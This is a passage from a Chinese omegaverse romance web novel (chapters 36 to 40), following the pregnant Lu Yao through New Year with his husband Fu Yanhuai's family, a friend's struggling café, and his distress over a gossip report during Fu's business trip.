鹿遥其实一直也很想试试玩一下,而不是只站在一边围观别人的幸福。 “好,我给你拿。” 傅晏淮先拿出来两根,“我来点燃,小心不要烫到。” 鹿遥在旁边眼巴巴地等着,傅晏淮看着无奈道,“这么喜欢?明天接着陪你玩就好了。” 这种小玩意还不是想买多少买多少。 鹿遥小声嘟囔道,“我以前没有玩过嘛。” 烟花棒燃起来傅晏淮才放到鹿遥手里,他握着鹿遥的手腕转圈,烟花在黑夜划出漂亮的弧度。 焰火点亮鹿遥的瞳孔,他惊喜道,“这个好好看啊!” 傅晏淮温柔垂眼看着鹿遥,“以后每一年我都陪你来放。” 傅晏淮坚信,他和鹿遥的生活方式不会发生太大变动。 外面的风还是很冷,傅晏淮从身后把鹿遥抱进怀里,眼前是自己心心念念已久的烟花,身后是自己的爱人,鹿遥想不出自己不答应的理由。 “好啊。” 傅晏淮陪着鹿遥把不危险的烟花都放了七七八八才回到屋子里,鹿遥的脸冻得有点红,不过神采奕奕的很高兴。 “回来了?” 文筝靠在沙发上敷面膜,鹿遥坐到文筝旁边忍不住道,“妈妈,那个蝴蝶形状的烟花放起来很好玩,竟然还会在地上转。烟花还有好多颜色,我都喜欢。” 有这样一个小辈眼睛亮亮贴着自己,文筝心软得一塌糊涂,“是吗,那明天还让晏淮陪你放,好不好啊?困不困,困了就直接去睡,不用非等到十二点。” “我还不困,可能是下午睡多了。”鹿遥看向傅晏淮,他有点担忧道,“刚刚喝了酒,有没有头晕?” 文筝拍拍鹿遥的手,“一点红酒,不至于喝醉。” 傅晏淮喝醉了,难道要鹿遥晚上起来照顾他?这文筝是一定不会允许的。 “还好。”傅晏淮给鹿遥调整了一下靠垫,“那先在楼下坐一会,你困了再上楼。” 鹿遥就舒舒服服在沙发上靠着半躺下来,今晚他情绪的确一直都很高,看着电视节目总忍不住和傅晏淮说笑,傅晏淮也很有耐心地一一答应。 直到鹿遥的声音越来越小,呼吸也越来越慢,最后一歪头倒在傅晏淮肩膀上睡着了。 文筝把电视音量降低,傅晏淮抱起他上楼。 双人床上放了适合孕夫倚靠的软垫,傅晏淮调整鹿遥的睡姿让他侧躺。 或许是受到孕期信息素的影响,傅晏淮发觉鹿遥的情绪很容易被外界裹挟,不过这也没有关系,因为他本来也打算等孩子出生后再慢慢和鹿遥谈。 鹿遥也许不会接受,但傅晏淮认为自己可以处理好每一个可能发生的意外情况。 傅晏淮等了一会才转身去浴室,但鹿遥迷迷糊糊拉着他的衣角不松开。 “宝贝,我很快就回来。” 傅晏淮释放信息素,鹿遥的手不再握得那么紧。 傅晏淮诱哄着承诺,“马上。” 第37章 第 37 章 小事 除夕夜睡着的时间有些晚了, 鹿遥迷迷糊糊醒来吃早饭换好衣服已经快到上午十点。 傅晏淮颇有耐心地陪着他吃完饭,新年该换新衣服,鹿遥现在没有这方面的烦恼, 他的衣服已经堆满了柜子。 “我还是和你一起下去吧。”鹿遥仰头看着他,“我累了就会上楼的。” 傅晏淮停顿一瞬道, “也好,转一圈就上楼, 没有人会说什么。” 鹿遥跟在傅晏淮身后慢慢下楼梯, 现在来的人还不算很多, 相熟的人已经七七八八地聚在一起聊天。傅晏淮和其他人聊的都是商业上的事, 鹿遥在一旁默默听着, 这些事情他插不上话。 傅晏淮和来人寒暄几句就结束对话, 他侧头对鹿遥低声道,“那边有甜品台,去挑几个喜欢的拿回房间吧, 等等人多起来不方便。” 鹿遥现在的肚子已经很明显了, 在家里穿的衣裳薄, 鹿遥能感受到自己的引人注目。 鹿遥小声问他道,“我不需要再打招呼了吗。” “不用。”傅晏淮放缓语气,“去吧。” 鹿遥走到偏厅的茶水台, 后厨准备的小点心很多, 不过鹿遥刚刚吃过早饭,还不是很饿。 他百无聊赖地走到尽头又走回来,外面客厅内衣着华丽的上流人士聚在一起,鹿遥充分感受到了自己和他们之间的差距。 他叹了口气,拿起一小杯酸奶从侧边的楼梯上楼。 “小鹿!” 鹿遥差一点点就踩上楼梯台阶,他听见声音回头, 夏时越在侧厅门口对他挤眉弄眼。 鹿遥惊喜道,“时越,你来怎么不告诉我?” 夏时越今天也在,鹿遥的神情肉眼可见地变得晴朗,夏时越走到鹿遥身边才敢压低声音开口,“我是跟我爸来的,傅晏淮今天还不错嘛,直接就让我来找你了。” 原来是傅晏淮让的,鹿遥对傅晏淮又更喜欢了一点,但很快他又看着夏时越疑惑道,“不过你怎么说话声音这么小?” 夏时越侧身让让,让鹿遥看外面的大厅,他幽幽道,“这样的场景,我但凡大声一点点,我就能出名到明年过年了。” 夏时越很习惯这样的场合,但习惯不代表喜欢,能拍拍屁股就走实在是件大好事。 鹿遥就道,“那我们上楼吧,今天楼上没有人。” 夏时越上台阶上得毫无心理负担,刚刚一路走过来他已经跟傅际中和文筝打过招呼了。 “今天沈泰只带着沈长宇来了,如果沈谨言还在,估计来傅家的肯定就是他。” 鹿遥愣了两秒才想起来沈谨言已经出国留学了,到现在鹿遥已经可以心平气和地面对这个人,他垂眼道,“读书的机会很珍贵。” 如果可以的话,鹿遥也很想继续自己未完成的学业。 夏时越懊恼自己好像说错了话,他咳了一声转移话题,“年后我的咖啡厅或许应该改革了。” 鹿遥疑惑望去,“怎么了吗?” 夏时越放慢脚步和鹿遥步调一致上楼,他看着很是惆怅,“生意…勉强可以用零花钱支持。” 鹿遥心里咯噔一声,他小心翼翼问道,“又,又赔了吗?” 夏时越沉痛点点头,鹿遥谨慎又道,“那要怎么改革呢?” 夏时越长叹了口气,“我也不知道。” 提起自己的咖啡店,夏时越多多少少还是有些难过的。 他一屁股在影音室里坐下,夏时越沮丧道,“难道我真的不适合创业吗。” 鹿遥轻声安慰他道,“怎么会呢,你只是刚开这种类型的店,没有经验。” 鹿遥肚子沉甸甸的,他坐下的动作有点笨拙,夏时越悲伤询问,“年后你会回来吗?” 鹿遥没有立刻给出完全肯定的答案,“年年状态最近很稳定,不过这件事我还没有问过傅晏淮。” 一直在家吃了睡睡了吃也是很无聊的,前几个月是因为身体状况不允许,现在鹿遥觉得自己已经可以重新参与到工作中了。 夏时越诚实道,“你来陪陪我,我可能会更加坚强一点。” 鹿遥绞尽脑汁地从另一个角度进行安慰,“至少这一次开店的时间已经比以往都要长,再坚持坚持,或许就能开半年了。” 半年之后这家店应该会有起色吧,夏时越又精神了点,“功夫不负有心人,只要我持之以恒地一直开,一定会获得最终的成功。” 鹿遥松了口气,“是的,一定可以。” 夏时越边挑影片边和鹿遥闲聊,“如果我的店又开不下去,你打算去干点什么?” 鹿遥有点不好意思道,“开一家甜品店。” 夏时越惊讶地瞪大眼睛,“原来你也喜欢创业!” 这应该不能称之为创业,鹿遥清清嗓子,“先在其他店里做甜品师攒一点钱,然后开一家不大的就好。” 甜品最终看重的还是用料品质和口感,而且鹿遥也喜欢甜品师这个职业。 “我觉得很不错。”夏时越肯定道,“你可以打造一个自己的甜品品牌,我来给你做宣传。” 这还是很遥远的事呢,鹿遥笑道,“还是没影的事,先别想了。” 影音室的门被轻轻敲了两下,夏时越奇怪道,“是谁?” 女佣进来摆果盘和小零食,“文夫人叫我送来的,要您和鹿先生不要着急下去,在这多玩一会。” “原来是文阿姨。”夏时越感叹一句,“她可是那种所有小孩子都会羡慕的温柔妈妈。” 鹿遥有点晃神,“的确是这样。” 女佣下楼后默默走到文筝身后,她低声对文筝耳语道,“夫人,已经送到楼上去了。” 文筝点点头示意知道了,她转过头对着面前两位夫人笑道,“总是要对家里孩子更操心一些…” “是,听说傅总的伴侣已经怀孕了?” “您何必叫得这么客气,已经五个月了。单看也知道,傅晏淮哪里是会照顾人的样子,少不得还是要我和老傅多操心。” 周围听见的人都是心中各异,不过还是纷纷恭喜文筝,“这可是大喜事,好得很。” 文筝和这几个贵夫人又聊了许久才得以脱身,她赶忙借口到一边缓口气。 刚刚的那名女佣找准时机走近,文筝不由得多问了她两句,“夏家的那个孩子也在楼上?” “是。”女佣毕恭毕敬答道,“都在楼上的影音室。” 文筝忍不住庆幸道,“还好小鹿没下来,否则可有得忙活了。” 她四下看看,没见到傅晏淮,文筝蹙眉道,“晏淮人呢,到哪去了?” “刚刚看到,好像是往阳台那边去了。” 文筝眉心微跳,她不动声色道,“好,你去忙吧。” 文筝没有弄出动静,她独自一人往阳台的方向走,傅晏淮正靠在阳台围栏上和什么人通话。 “合同详细拟定需要大概多久?” “不急,年后我亲自去见你一面。嗯,他还不知道。” 文筝挑眉,谁不知道,不知道什么? 文筝敲了敲阳台的玻璃门,傅晏淮听见声音转头,随后简短说了两句挂断电话。 “妈。” 文筝故作无事地走近,“怎么跑到这来了,又有工作?” 傅晏淮平淡答道,“嗯,一点小事。” 文筝半信半疑道,“最好如此。” 第38章 第 38 章 投资 傅晏淮不再靠着栏杆, 他站直起身道,“没什么事的话我先走了。” “等等。”文筝不得不多留心又问了一句,“小鹿的家里人有没有联系他?” 傅晏淮肯定道, “没有。” 鹿遥的情绪变化傅晏淮都能察觉到,如果关清露和鹿千星联系他了的话, 鹿遥应该不会一直保持这么平静。 “那还好。”文筝担心鹿家人影响到鹿遥心情,“他最近身体才刚养好了一点, 如果他们家人联络他, 你就来告诉我。” 其实鹿家还是很好敷衍过去的, 鹿遥一次一次伤心是因为在意。 “好。” 傅晏淮关上阳台门, 文筝在他身侧慢慢一阶一阶走下楼梯, “我叫小鹿的好朋友上楼去陪他了, 不过过一会你也该上楼去看看。” 傅晏淮却有些奇怪道,“您和我一起下去吗?” 文筝理所当然道,“怎么, 我不能和你一起走吗?” 傅晏淮沉默不语, 文筝狐疑道, “你是不是有什么事瞒着我,不想让我知道?” 傅晏淮漫不经心道,“有很多。” 文筝没好气地开口, “我可懒得管你, 别影响到小鹿和孩子就行。” 傅晏淮并未回答这句话,他径直重新回到大厅。 或许是都得知了鹿遥分化又怀孕的消息,今年来傅家的omega比往年少了很多。 其实家世相仿又具有一定学历的omega是最合适的,不过… 不过鹿遥如果读完了大学的话,他的履历也一定会很漂亮。 傅晏淮的思绪停止,他再次端起酒杯回到大厅。 夏时越和鹿遥在影音室里躺得果盘都吃空了两次, 夏时越百无聊赖道,“年年现在五个月?那他出生要在夏天了。” “是。”鹿遥仰躺着靠在躺椅里,腹部弧度很明显,“大约是在七月吧,那时候很热。” 夏时越打了个哈欠道,“等他出生,我一定给他买很多礼物。如果能像你就好了,眼睛圆溜溜的婴儿最可爱。” 鹿遥觉得其实像傅晏淮也挺不错的,他笑了笑道,“怎么样都好,希望他健康。” 夏时越看看时间,“是不是差不多该散了,我都躺困了。” 鹿遥迟疑道,“我也不清楚。” 的确是时间差不多了,夏时越和鹿遥吃零嘴吃得不饿所以没有感觉,楼下的人已经陆续离开。 傅晏淮在外面敲了两下门才推开进来,夏时越困得眼睛都快睁不开了,“结束了?” “嗯。”傅晏淮往里看看鹿遥,鹿遥也已经困了,他身上盖了条毯子,“回卧室去睡。” 夏时越坐起来抻了个懒腰,“那我也下楼了,鹿遥,年后咖啡店见啊。” 夏时越走后傅晏淮才问道,“你想回去工作?” 不知道为什么,傅晏淮问出这个问题鹿遥还有些紧张,他解释道,“做过孕检后如果没问题我才会去的,如果医生不建议的话我就不去了。” 傅晏淮扶他站起来,“去也没什么,在家也很无聊。” 傅晏淮不太在意鹿遥做什么工作,因为不管做什么和他相比能创造的实际利润都小很多,鹿遥注意到了这一点。 鹿遥小声道,“等到医生说我不适合在工作的时候,我会正式休孕产假期的。” “嗯,走吧。” 这一整个新年鹿家人都没有再联系他,鹿遥每次想起也会强迫自己忘掉。 新年就这样平静地过去,傅晏淮在家陪了鹿遥一周才回公司,鹿遥觉得这样已经很好了。 鹿遥和傅晏淮搬回两人的别墅,过年结束,鹿遥重新回到咖啡厅。 但工作第一天的生意让鹿遥陷入沉思,夏时越口中的生意不好基本可以算是惨淡的程度,顾客很少。 夏时越又开始犯愁,鹿遥拿着员工餐坐到他旁边,今天的员工都聚在一起陪夏时越犯愁。 “或许是地理位置的原因。”好朋友的心情低落,鹿遥是肯定要先安慰一番的,“大学没有开学,所以没有学生。” 夏时越叹了口气,“实不相瞒,其实开学的时候来的学生也很少。” 鹿遥憋不出来安慰的话了,他想了想忽然道,“其实,我觉得改革也可以的。” 夏时越很愿意倾听他人意见,毕竟他就已经算是创业中最不擅长的那一梯队,“比如说?” “从这个店的规模来看。”鹿遥比划了一下,“从外面看和在里面看,这里都更像是米其林餐厅那样的高级餐厅,但是走进来却只是喝咖啡吃甜品的地方。” 夏时越琢磨道,“所以,我应该转型开饭店?” “可以尝试加一点点其他的小项目。”鹿遥谨慎道,“不过这也只是我个人的意见,我也没有做过生意。” 夏时越第一次想起鹿遥不负责任的老公,“应该让傅晏淮和我合作的。” 夏时越扼腕叹息,“他一看就很会赚钱。” 这个倒是,鹿遥小声道,“那我晚上回家问问他?” 夏时越没有一点不好意思,“那当然好啊,也许我就差一个投资就会干得红红火火。” 鹿遥觉得每次创业都失败好像也不完全是投资的原因,但鹿遥还是答应下来,“好,那现在我们怎么办呢。” 夏时越转向一边问其他员工,鹿遥夹起一朵西兰花忧愁地吃掉,午饭都差不多吃完夏时越才又一屁股坐回来,“我决定就按你说的,变成餐厅试试。” 这可不是个小动作,但店面什么都不缺,填一些后厨用品就可以,现在最重要的是招厨师。 夏时越叹气道,“这两天先不营业了,把后厨厨具都购置齐全再说。小鹿,你明天来陪我吧~行不行~” “好。”鹿遥宽慰他道,“我每天都可以陪你,反正我也没有什么事要做。先吃饭吧,创业就是这样的。” 鹿遥成功抚慰了夏时越受伤的心灵,他端起自己的员工餐开始吃饭。 鹿遥看着他问了一句,“我们的员工餐是谁做的啊?” 以前午饭是点外卖的,但现在变成了自己做的炒菜。 “哦,你说这个。”夏时越开口道,“生意不好,每天没有那么多人,所以店员也就不多。刚好顾和辰说他很会做饭,我就让他一起做了。” 鹿遥疑惑道,“顾和辰?” “就是那个不会做甜品的店员。”夏时越理直气壮道,“他又不会做甜品,当然只能做员工餐了。” 午休鹿遥没有看到他,鹿遥转头看看,“那他怎么不出来一起吃饭?” 夏时越半死不活道,“我让他去刷器材了,他一说话我就想给他两下,现在我这么烦,还是别看见他了。” 什么?鹿遥不可置信道,“怎么…他看起来也还好啊。” 夏时越继续犯愁自己的店,“今晚得找我爸要零花钱了,器材一定要买最好的才行。” 鹿遥现在终于明白为什么夏文进不同意夏时越开店,还让夏时越自己去打工两个月试试,但夏时越好像有自己坚定的创业方式。 “那也先叫人出来吃饭吧。”鹿遥劝道,“说话能有多气人呢?我看他年纪好像比我们还小一些。” 夏时越道,“比我小三岁。” 他到底还是同意把人给叫出来了,结果顾和辰出来见到夏时越的第一句话就是,“店果然开不下去了?” 鹿遥哭笑不得地看夏时越恼火,真是哪壶不开提哪壶。 不管怎么样,今天是没什么生意了,晚上管家开车到店外接鹿遥,看鹿遥情绪不太高,管家关切问道,“鹿先生,今天不高兴吗?” 鹿遥摇摇头,“也不是不高兴,只是店里生意不好,不知道该怎么做。” 原来是这点小事,管家放松下来,“这个好办,您找傅总问问就行了。或者您想做什么生意?请傅总直接开一个就好了。” 鹿遥不能接受如此财大气粗的解决方式,连甜品店他都是打算自己攒钱开,鹿遥连忙道,“不用,真的!不过我可以问问晏淮做生意的事。” 管家慈爱道,“全凭您高兴就好,傅总已经到家了。” 鹿遥惊喜道,“今天他回家这么早。” 鹿遥还以为要吃完晚饭等一会傅晏淮才会回来,他现在迫切地希望回家了,鹿遥刚刚还有些沉重的心情一扫而空。 鹿遥进门时傅晏淮在客厅沙发坐着,鹿遥见着他不自觉走快了几步,“你回家啦。” 傅晏淮站起身蹙眉扶稳鹿遥,“慢点,小心别摔了。” 鹿遥把外套脱掉,傅晏淮先把他揽进怀里又坐了一会,“晚饭还要等一会儿。” “嗯嗯。”鹿遥心里甜滋滋的,现在他的信息素水平稳定且平衡,每天得到的alpha信息素都非常适量。鹿遥没有直接开口,他侧面道,“今天店里生意不太好。” 和鹿遥预料的完全不同,傅晏淮十分自然地道,“这是正常的。” 鹿遥惊奇在傅晏淮肩头仰起脸,“为什么?” 这就涉及到很多金融名词了,傅晏淮没有一板一眼地解释,他只是问道,“他现在打算怎么办?” 鹿遥忐忑道,“打算转型变成高级餐厅,但也提供定制甜品服务。” 这个听起来还靠谱一点,傅晏淮不甚在意地道,“赔了就赔了,夏家不缺这点零花钱。你也可以自己做一点生意,妈妈给的零花钱很多。” 还是算了,鹿遥不好意思这样花文筝给的钱。 鹿遥含糊道,“以后我再看看,而且,我也不会做生意。” 傅晏淮思考一瞬,“那你就先和夏时越随便开点什么试试吧,就当练手了。” 练手成本如此巨大,鹿遥弱弱又问道,“那,你要不要投资时越的店?” 傅晏淮没有一口拒绝,“让他给我的助理发评估报告。” 鹿遥懵懵道,“什么?” 傅晏淮很高贵,“经过部门检验合格,会让相关人员继续跟进按规模入股。” 好吧,鹿遥觉得明天夏时越听到这个回答,一定不会再觉得傅晏淮会做生意是优点了。 第39章 第 39 章 出差 “什么评估报告, 难道还要我亲自写?!” 又是新的一天,咖啡厅果然没有再营业,鹿遥陪夏时越一起记录店铺需要填补安置的东西。 夏时越大为光火, “他这是什么意思,看不起我的店?” 鹿遥谨慎道, “或许也不是,傅氏集团投资应该只是走固定流程。” 什么流程也没用, 夏时越不忿道, “难道我还求着他投资了?这个店我一定可以开起来。” 傅晏淮果然还是很一般, 昨天短暂改观看来是因为他神志不清了。 “不过我觉得变成餐厅会生意会好起来的。” 鹿遥再次看了看店面, “有名的餐厅会有很多人来打卡。” 但如果是甜品店就很难了, 夏时越的店面看起来价格太过昂贵, 地理位置又在大学边上,学生大约不会选择来这里。如果是上流人士,他们会直接选择已经成名的奢侈品牌, 所以怎么看都是餐厅受众面更广一些。 夏时越经过一晚的调整已经重拾信心, “我也觉得这次肯定能行。” 装修工人来来回回调整安装厨具, 鹿遥在一旁站得有点晕,他拧开瓶酸奶开始喝。 夏时越赶忙道,“你累了吗?到那边坐下休息吧。” “没有。”鹿遥咽下酸奶, “累倒不是很累, 只是最近饿得很快,不吃东西就会低血糖。” 鹿遥说着又从上衣口袋里掏出一袋小饼干,“你吃吗?很好吃,家里厨师做的。” “不了。”夏时越感叹道,“你的上衣口袋好像一个装满零食的百宝袋。” 鹿遥不好意思地道,“我总是觉得饿。” 大约是年年在努力长大的缘故, 鹿遥准备了很多可以垫肚子的小零食。 夏时越摸了摸下巴又问道,“小鹿,你打算从几个月开始休孕产假期?” 鹿遥不确定道,“应该是从孕七月开始,不过如果状态不错的话也可以再延后一个月。” 夏时越沉思道,“那还是应该再多留一名甜品师。” 鹿遥拆开小饼干吃掉,夏时越看着看着也有点馋了,“真的很好吃吗?比你做的还好吃吗?” 鹿遥大方分给夏时越,“很好吃,应该吧,家里的厨师做饭水平很高的。” 两人一起嚼嚼嚼看器材安装,夏时越漫无边际地想着,“你说,厨师请几个好呢。” 鹿遥咽下小饼干,“我觉得先请两个来试试看。” 鹿遥给夏时越提出了节省成本的建议,“至于副厨,可以让顾和辰帮忙啊,我觉得他挺会做饭的。” 能省则省,夏时越花钱太大手大脚了。 夏时越嘀咕道,“会不会有点太少了…” 鹿遥委婉道,“我们先看看客流量。” 夏时越想起老爹那张拉长的黑脸,他长叹口气,“好吧。” “不过顾和辰给厨师打下手,他能行吗。”夏时越担忧道,“他看起来比我还要不靠谱。” “应该不会的。”鹿遥想了想道,“至少他做的员工餐真的很好吃。” 夏时越还是对顾和辰毫不信任,他勉勉强强答应了下来。 店铺在歇业三天后重新开张,这次后厨有了固定的甜品区域,最初的一周效果还不太明显,但在夏时越的大力宣传下,来吃饭的客人的确比以往要多了很多。 鹿遥重新开始做自己喜欢的工作,其实现在的生活很平静,鹿遥并没有什么不满意的,只是傅晏淮回家的时间越来越晚,他和傅晏淮两个人单独相处的时间也变得越来越少。 傅晏淮依然会抱他,白冷杉和焦糖缠绵在一起的味道仍然很好闻,可鹿遥有时还是会觉得迷茫。 大概傅晏淮是真的很忙,鹿遥只好尽量不去打扰他。 也有一个好消息是店铺的人流量逐渐上涨,夏时越看起来真的即将迎来自己人生第一次的成功创业。 可惜这个时候鹿遥已经进入孕七月了,在七个月的产检后,鹿遥正式休假回家。 鹿遥拆开一罐新的抚触油,他把膏体放在手掌中心搓热,然后沿着腹部皮肤涂上去。 很快年年就在肚子里十分积极地追着鹿遥的手互动,鹿遥忍不住笑道,“乖一点,很快就好了。” 现在产检已经可以清晰观察到年年的行动,他在鹿遥肚子里的活跃时间很多,是个精力旺盛的孩子。 鹿遥买了很多可爱的玩具,虽然暂时还用不上,但等年年长大一些后就会需要很多很多玩具来帮助成长。 鹿遥最喜欢的还是那个白色小鹿,他把那个玩具放到了自己枕头边上,涂完抚触油鹿遥把小鹿贴近肚子,他一本正经地道,“这是年年的好朋友。” 小鹿沾上了很浓的焦糖信息素味道,鹿遥随手又捏了两下,软绵绵的。 “你父亲还要很久才能到家…” 鹿遥看着时间喃喃,“要等到,快睡觉的时间。” 如果傅晏淮能常常在家就好了,年年有很多长大的时刻鹿遥都好想和傅晏淮分享,可是他的alpha只在他身旁停留很短暂的时间。 鹿遥算了一下月份,“还有…不到两周,就是八个月了。” 进入孕晚期后鹿遥多了很多不适症状,孕中期的行动自如转瞬即逝,由于腹部下坠感增强,鹿遥的腰有点受不了。 鹿遥笨拙地缓慢翻身,调整了很久才寻找到一个相对舒服的姿势,年年似乎察觉到了什么,他渐渐安静下来。 他半阖上眼等抚触油干掉,最近鹿遥睡眠变得很差,晚上常常失眠,每天睡觉都是断断续续的。 鹿遥就这样半梦半醒躺了一会,然后他猛地想起自己还没有盖被子惊醒。 等到又勉强够到被子盖好重新躺下,睡意也已经没有了,鹿遥垂眼低声道,“好漫长的一天啊。” 鹿遥自己一个人给年年读了故事书,又慢腾腾下床吃了晚饭,在客厅沙发里蜷缩起来,等天彻底变黑。 傅晏淮态度的改变不是一天之内陡然发生变化,但这样潜移默化的冷漠让鹿遥更加不知所措,他不知道是不是自己做错了什么,也不知道傅晏淮为什么这样对待他。 傅晏淮一如既往还是在将近十点的时间才进家门,并且不出意料地又在沙发上看见了鹿遥。 鹿遥睡得不舒服,鼓起的肚子让他以一个十分怪异的姿势蜷缩在沙发里。 傅晏淮在距离两步远的地方停下,他不想吵醒鹿遥,但鹿遥睡眠不好,他一碰鹿遥一定就会醒。 傅晏淮按了按眉心,在沙发另一端坐下。 他没有等太久,因为鹿遥很快就抽动了一下捂住腿低低叫了一声。 傅晏淮给鹿遥按摩小腿的动作十分娴熟,鹿遥痛得脸都紧紧皱在一起,“好疼…” 傅晏淮没有责怪鹿遥,他平静道,“你应该盖被子,着凉容易抽筋。” 疼痛感逐渐缓解,鹿遥疼得额头出了汗,“我只是想坐坐的。” 傅晏淮释放信息素,他提鹿遥擦了擦汗,“下次不要再这么晚还等我了,你自己先睡。” 鹿遥的面色有点白,还没有完全缓过来,他茫然看了傅晏淮一眼低落道,“可是你最近都好忙,我们已经很久…” 鹿遥抿住唇,其实以往他和傅晏淮的交流也不算特别多,但那和现在是不一样的。 他也不知道自己想要傅晏淮做什么,傅晏淮看起来好像做到了应该做到的一切。 “孕晚期应该注意身体。”傅晏淮没有回答鹿遥的话,“先上楼吧。” 鹿遥却没有拉住傅晏淮伸过来的手,他勉强笑笑抬头问他,“是最近工作太忙了吗,还是,是我做了什么…” 傅晏淮弯下腰拉过鹿遥,“不是。” 鹿遥眼底的期盼一点点暗下去,他沉默跟在傅晏淮身后上楼,傅晏淮随口道,“最近H市有点公事,我要出差一趟。一周以后去,大概和爸妈差不多时间回来。” 鹿遥这边没什么问题,文筝就和傅际中出去进行了一场短暂的旅行。等到鹿遥孕八月文筝就彻底不会走了,她要一直在京城等到年年一周岁再考虑出去玩的事情。 鹿遥脸色更不好了一点,他喉咙干涩问道,“要去一周吗?” 傅晏淮察觉到了鹿遥的不对劲,他转回身,鹿遥苍白的脸色让他皱了皱眉。 傅晏淮低声道,“顺利的话不到一周就会回来,我会取腺/□□来保证你的身体稳定。” 这和腺/□□无关,鹿遥扣紧手心让自己不要给傅晏淮添麻烦,“好。” 鹿遥看起来很难过,但他什么都没有说,“那你快一点回来。” 傅晏淮吻了下鹿遥的额头,“我会的,别担心。” 鹿遥努力轻松道,“如果你和爸爸妈妈一起回来的话,我去接你们吧。” “不用。”傅晏淮随口道,“我会比他们回来得早一点,注意身体,不要再在沙发上睡觉了。” “我会的。”傅晏淮的吻让鹿遥勉强打起精神,“我等你回来。” 第40章 第 40 章 早产 傅晏淮这次出差具体是要做什么鹿遥也不太清楚, 他已经离开了三天。 鹿遥已经正式进入孕期第八个月,年年的活跃程度大大提升,他的体力有点吃不消。 “好像是和当地的公司有合作。” 鹿遥打开手机看了看, 和傅晏淮的消息界面依然停留在早上他问候的那一条,傅晏淮依然没有回复他。 鹿遥有些困难地在床上坐起来, “已经快要中午了。” 不知道傅晏淮上午的工作有没有结束,其实鹿遥不是很饿, 年年长大之后胃被挤得容量很小, 而且孕后期要稍稍控制营养摄入, 以免胎儿体型过大。 鹿遥抱着被子在床上呆呆坐了一会, 他漫无目的地看着窗外, 不知道自己能做些什么。 手机铃声在此时突兀响起, 鹿遥还以为是夏时越,但屏幕上显示出的名字却是鹿千星。 鹿遥微微愣了一下,他蹙眉接起来。 鹿遥还以为这次鹿千星会像以往一样一接通就先开口, 但没想到他等了许久对面都迟迟没有声音。 鹿遥疑惑地看了一眼手机才又重新放到耳边, “喂?” 过了几秒鹿千星才带了点阴阳怪气地酸溜溜道, “能分化只能算你运气好,说你没脑子果然就是真的没脑子。” 鹿遥被平白无故怼了一句也没生气,这么久的时间鹿家都没有一个人联系他, 现在忽然主动打电话一定是有事。 他没有听明白鹿千星的意思, 鹿遥沉默过后道,“你想说什么。” 鹿千星听着有几分幸灾乐祸,但还有那么点烦躁,“你和傅总之间什么样我们当然管不着,不过拜托你也警醒一点好不好,明面上至少表演一出夫夫恩爱吧, 现在这算什么?” 鹿千星说着说着愈发恼怒起来,“你知不知道最近几个月妈妈心情有多不好,现在又出了这样的新闻,你不是让她更没法出去见人吗?” 巨大的恐慌猛然袭来,鹿遥压下心中不好的预感,“什么新闻?” “哈?”鹿千星不可置信地扬声,“你竟然什么都不知道?鹿遥,你是不是脑子哪里有问题,你自己的alpha你自己都不清楚吗?” 鹿遥的呼吸在颤抖,他的心不断下坠,但他仍然勉强保持镇定,“晏淮怎么了,是他出什么事了吗。” 鹿千星讥诮道,“他好得很,不好的人是你。” 不知是顾忌到什么,鹿千星最终还是忍耐道,“算了,你先把孩子好好生下来再说。等到傅总出差回来你可要和他彻底把这件事解决,现在在妈妈那里你也仅仅只有这一点价值了。” 鹿千星挂断电话,鹿遥耳边只剩下忙音,但他却来不及多注意鹿千星奇异的态度,他慌忙打开网络广场找商业新闻板块。 有关傅晏淮的负面新闻吗?傅晏淮怎么会有负面新闻呢。 鹿遥没有胡思乱想太久,因为那条新闻热度很高,他一眼就看到了。 应该是昨天正式洽谈后在酒会上的抓拍,傅晏淮对面站着一位看起来穿着姿态都十分得体的omega,干练、沉稳。 和鹿遥完全不相同。 傅晏淮的手应该是从侧后方接过酒杯,但错位的拍照方式和傅晏淮脸上一闪而过的笑意,让这张照片看起来格外暧昧。 鹿遥呼吸稍稍停顿一瞬,他压下心中的酸涩努力平静下来,这一张照片说明不了什么。 他下意识接着往下翻,这篇花边新闻的文字比这张照片更具攻击力。 “傅总对H市金融大亨的omega孩子赞赏有加,几人在酒会上相谈甚欢,傅总表示出了明显的亲近…” “…对这次合作起到了很大的推动作用,傅总直言这样的omega是很少见的…” 鹿遥忽然看不懂这篇新闻了,这样的omega很少见,是说他太平常了吗。 鹿遥茫然道,“为什么会这么说呢。” 为什么这篇报道会发出来,如果傅晏淮不允许的话,新闻媒体不会发出这样的文稿的。 腹部忽然发紧地疼了一下,鹿遥的思绪被迫收回。孕晚期后胃口减退,心情也算不上好,腹部的疼痛让鹿遥的脸色很难看。 鹿遥缓慢地深呼吸几下稳定心情,或许傅晏淮主动伸出橄榄枝只是为了工作,毕竟工作上的事,鹿遥都不了解。 腹部的疼痛似乎没有刚刚那么强烈了,但鹿遥依然有呼吸不畅的感觉。 他努力让自己拿稳手机,但打开和傅晏淮的聊天界面时还是有难过不受控制地涌上心头。 原来傅晏淮是这样想的吗。 鹿遥不知道自己现在应该问傅晏淮什么,他恍然想起最开始两人结婚傅晏淮只是为了找一个可以发泄信息素的beta。 傅晏淮没有说过喜欢自己,他什么承诺也没有做过,鹿遥分化和怀孕全部都是偏航的意外。 但是鹿遥怎么能相信呢,他刚刚拥有了爱他的家人,他们一起照了全家福,孩子马上就要出生。 而他又是如此真切地喜欢着傅晏淮。 明知道或许得不到回答,鹿遥依然抿唇小心发了一条消息。 “我看到了你参加酒会的推送,记得要注意休息。” 鹿遥的心情起伏波动过大,年年不安地在他腹中动来动去。 鹿遥当即决定不在房间里一直窝着了,下楼透透气或许会帮助心情平稳下来。 鹿遥不敢让自己太难过,他怕伤害到宝宝。 他扶着床小心站起来,尽量把状态平稳下来下楼。 管家这个时间还在后厨,很快就到午饭时间了,鹿遥打算出去逛一圈再回来。 现在鹿遥的腹部已经可以完全挡住向下看的视线,他一步一步走得很慢。 鹿遥对待有风险的事态度一向很谨慎,但听到手机上给傅晏淮设置的专属提示音响起的时候他还是忍不住停了下来。 不过是看个消息而已,鹿遥竟然会有点紧张。 傅晏淮的回复和鹿遥预料的冷淡或者安抚完全不同,他低低读出来的时候似乎都能感受到傅晏淮的语气,“两天后我会从H市回京城,其实我也想和你具体说一下这件事。” 鹿遥站在台阶上,看清这行字的一瞬间耳边嗡鸣作响。 没有直白地直接回答是不是就意味着是不好的答案呢?鹿遥莫名地鼻子有点酸,眼泪让眼眶变得微微潮湿,他眨了两下眼睛看清脚下的楼梯。 或许不会吧,应该是他孕期太敏感了。 